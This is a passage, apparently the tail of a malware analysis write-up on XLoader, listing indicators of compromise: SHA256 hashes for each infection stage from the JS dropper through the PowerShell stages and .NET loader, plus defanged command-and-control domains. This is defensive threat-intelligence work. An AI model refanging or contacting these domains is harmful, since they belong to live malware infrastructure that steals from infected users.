and 5 of them
```

```
}
```

File	SHA256
RFQ #10849013.7z	6e6eec005d21335366a91f6d53dd1a82a0558b870121ca124d02754fd96a3c3f
RFQ #10849013.js	9297af5f66486d11540f15b44d4b6beec6ff89dbc4dcdee898db9a7daaa76085
First PowerShell stage	8e60280c59b760a2e8c88d51e9fc8cb68c9ebe55b15106bd127cfdabab740bfc
Second PowerShell stage	a22c067293ed13e08c8c7c074c1b7cdceda7939d273205e903883e6c71d47249
.Net loader - obfuscated	d324cee32a91d3761dbcd3a442088f130ad1a30a30590b24bfa1b52a7b212968
.Net loader - cleaned	c729348afbf9e37bc065f755570699ca3579417579adef5a11ad0fdbbe3977a29
XLoader final stage	456e270b4286faaebf65ba8feb11d76c84f9e8087ffa527a04f3449bdb638448

Domains

```
www[.]3700421[.]xyz
www[.]aistero[.]store
www[.]aitutoring[.]vip
www[.]brockenbow[.]com
www[.]cinella[.]life
www[.]f6731[.]com
www[.]gradlist[.]ru
www[.]helpierus[.]ru
www[.]istrakabiinw[.]info
www[.]kanui[.]com[.]br
www[.]kelimemaster[.]com[.]tr
www[.]optickjawabarat[.]online
www[.]pechimag-ekb[.]ru
www[.]pevnenko[.]tech
www[.]scbcgm[.]com
www[.]simonidapure[.]net
www[.]smarte3info[.]fr
www[.]smartfavesden[.]shop
www[.]sololevelingshop[.]co[.]uk
www[.]sqws-adguard[.]co[.]in
www[.]sy-idea[.]com
```

```
www[.]thesisclaw[.]xyz  
www[.]tradox[.]rest  
www[.]troitt[.]com  
www[.]trylegbots[.]com  
www[.]vianovamobility[.]shop  
www[.]vk-mellstroy[.]online  
www[.]von-tors[.]ru  
www[.]x5js8[.]click <--
```

Source: <https://d01a.github.io/xloader/>